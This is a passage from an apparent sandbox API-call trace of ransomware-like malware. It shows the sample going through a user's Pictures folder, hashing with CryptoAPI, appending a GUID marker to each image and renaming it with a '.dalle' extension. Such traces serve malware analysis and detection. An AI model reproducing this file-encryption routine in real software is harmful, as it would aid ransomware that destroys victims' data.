HALPmcxz\\Pictures\\Oj9EUJHKpsOfq.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oj9eujhkpsofq.jpg.dalle")) returned 1 [0120.837] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761b4150, ftCreationTime.dwHighDateTime=0x1d4c87a, ftLastAccessTime.dwLowDateTime=0x64b7cf70, ftLastAccessTime.dwHighDateTime=0x1d4cf53, ftLastWriteTime.dwLowDateTime=0x64b7cf70, ftLastWriteTime.dwHighDateTime=0x1d4cf53, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE ApnfO.bmp", cAlternateFileName="PEAPNF~1.BMP")) returned 1 [0120.837] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PE ApnfO.bmp") returned=".bmp" [0120.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PE ApnfO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pe apnfo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.837] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=3849) returned 1 [0120.838] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.839] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xee3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.839] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.840] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf09, lpOverlapped=0x0) returned 1 [0120.840] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.840] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.840] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.840] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.841] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.841] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.841] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.841] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.841] GetLastError () returned 0x0 [0120.841] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.841] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.841] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.841] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.841] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.842] CloseHandle (hObject=0x618) returned 1 [0120.842] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PE ApnfO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pe apnfo.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PE ApnfO.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pe apnfo.bmp.dalle")) returned 1 [0120.843] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb920ad0, ftCreationTime.dwHighDateTime=0x1d4d3c4, ftLastAccessTime.dwLowDateTime=0x7069f690, ftLastAccessTime.dwHighDateTime=0x1d4c55d, ftLastWriteTime.dwLowDateTime=0x7069f690, ftLastWriteTime.dwHighDateTime=0x1d4c55d, nFileSizeHigh=0x0, nFileSizeLow=0x1149e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QU_VRdUt NRyuxhaK.gif", cAlternateFileName="QU_VRD~1.GIF")) returned 1 [0120.843] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QU_VRdUt NRyuxhaK.gif") returned=".gif" [0120.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QU_VRdUt NRyuxhaK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qu_vrdut nryuxhak.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.844] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=70814) returned 1 [0120.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.845] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11478, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.845] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.846] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1149e, lpOverlapped=0x0) returned 1 [0120.847] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.847] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.847] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.847] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.848] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.848] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.848] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.848] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.848] GetLastError () returned 0x0 [0120.848] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.848] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.849] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1149e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.849] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.849] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.849] CloseHandle (hObject=0x618) returned 1 [0120.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QU_VRdUt NRyuxhaK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qu_vrdut nryuxhak.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QU_VRdUt NRyuxhaK.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qu_vrdut nryuxhak.gif.dalle")) returned 1 [0120.851] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45bb0f0, ftCreationTime.dwHighDateTime=0x1d4cf73, ftLastAccessTime.dwLowDateTime=0x991a11d0, ftLastAccessTime.dwHighDateTime=0x1d4d16d, ftLastWriteTime.dwLowDateTime=0x991a11d0, ftLastWriteTime.dwHighDateTime=0x1d4d16d, nFileSizeHigh=0x0, nFileSizeLow=0x3243, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REDKpPryBoCE3SWLx1.png", cAlternateFileName="REDKPP~1.PNG")) returned 1 [0120.851] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REDKpPryBoCE3SWLx1.png") returned=".png" [0120.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REDKpPryBoCE3SWLx1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\redkppryboce3swlx1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.852] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=12867) returned 1 [0120.852] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.854] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x321d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.854] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.855] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x3243, lpOverlapped=0x0) returned 1 [0120.856] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.856] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.856] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.856] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.856] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.857] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.857] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.857] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.857] GetLastError () returned 0x0 [0120.857] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.857] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.857] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3243, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.857] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.857] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.857] CloseHandle (hObject=0x618) returned 1 [0120.858] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REDKpPryBoCE3SWLx1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\redkppryboce3swlx1.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REDKpPryBoCE3SWLx1.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\redkppryboce3swlx1.png.dalle")) returned 1 [0120.859] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x634bd700, ftCreationTime.dwHighDateTime=0x1d4d1fe, ftLastAccessTime.dwLowDateTime=0xeab0fb30, ftLastAccessTime.dwHighDateTime=0x1d4ccae, ftLastWriteTime.dwLowDateTime=0xeab0fb30, ftLastWriteTime.dwHighDateTime=0x1d4ccae, nFileSizeHigh=0x0, nFileSizeLow=0x4855, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="riH elLcs.png", cAlternateFileName="RIHELL~1.PNG")) returned 1 [0120.859] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\riH elLcs.png") returned=".png" [0120.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\riH elLcs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rih ellcs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.860] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=18517) returned 1 [0120.860] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.861] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x482f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.861] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.862] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x4855, lpOverlapped=0x0) returned 1 [0120.863] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.863] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.863] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.863] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.864] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.864] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.864] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.864] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.864] GetLastError () returned 0x0 [0120.864] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.864] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.864] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4855, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.864] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.864] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.864] CloseHandle (hObject=0x618) returned 1 [0120.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\riH elLcs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rih ellcs.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\riH elLcs.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rih ellcs.png.dalle")) returned 1 [0120.866] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75802f0, ftCreationTime.dwHighDateTime=0x1d4cb8e, ftLastAccessTime.dwLowDateTime=0xea6f0a90, ftLastAccessTime.dwHighDateTime=0x1d4c858, ftLastWriteTime.dwLowDateTime=0xea6f0a90, ftLastWriteTime.dwHighDateTime=0x1d4c858, nFileSizeHigh=0x0, nFileSizeLow=0xe591, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rk9GCNO.png", cAlternateFileName="")) returned 1 [0120.866] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Rk9GCNO.png") returned=".png" [0120.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Rk9GCNO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rk9gcno.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.867] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=58769) returned 1 [0120.867] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.868] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe56b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.868] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.869] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe591, lpOverlapped=0x0) returned 1 [0120.870] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.870] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.870] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.870] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.871] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.871] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.871] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.871] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.871] GetLastError () returned 0x0 [0120.871] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.871] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.872] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.872] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.872] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.872] CloseHandle (hObject=0x618) returned 1 [0120.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Rk9GCNO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rk9gcno.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Rk9GCNO.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rk9gcno.png.dalle")) returned 1 [0120.878] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe16af40, ftCreationTime.dwHighDateTime=0x1d4d487, ftLastAccessTime.dwLowDateTime=0x3fe5b040, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0x3fe5b040, ftLastWriteTime.dwHighDateTime=0x1d4cb1b, nFileSizeHigh=0x0, nFileSizeLow=0xf099, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S--e.jpg", cAlternateFileName="")) returned 1 [0120.878] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S--e.jpg") returned=".jpg" [0120.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S--e.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s--e.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.878] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=61593) returned 1 [0120.879] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.880] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf073, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.880] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.881] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf099, lpOverlapped=0x0) returned 1 [0120.882] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.882] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.882] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.882] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.883] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.883] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.883] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.883] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.883] GetLastError () returned 0x0 [0120.883] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.883] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.883] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf099, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.883] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.883] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.883] CloseHandle (hObject=0x618) returned 1 [0120.886] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S--e.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s--e.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S--e.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s--e.jpg.dalle")) returned 1 [0120.887] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76521f60, ftCreationTime.dwHighDateTime=0x1d4c733, ftLastAccessTime.dwLowDateTime=0x51f68ca0, ftLastAccessTime.dwHighDateTime=0x1d4ce68, ftLastWriteTime.dwLowDateTime=0x51f68ca0, ftLastWriteTime.dwHighDateTime=0x1d4ce68, nFileSizeHigh=0x0, nFileSizeLow=0x18426, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SbXik3LvTBfT.jpg", cAlternateFileName="SBXIK3~1.JPG")) returned 1 [0120.887] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\SbXik3LvTBfT.jpg") returned=".jpg" [0120.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\SbXik3LvTBfT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sbxik3lvtbft.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.887] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=99366) returned 1 [0120.887] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 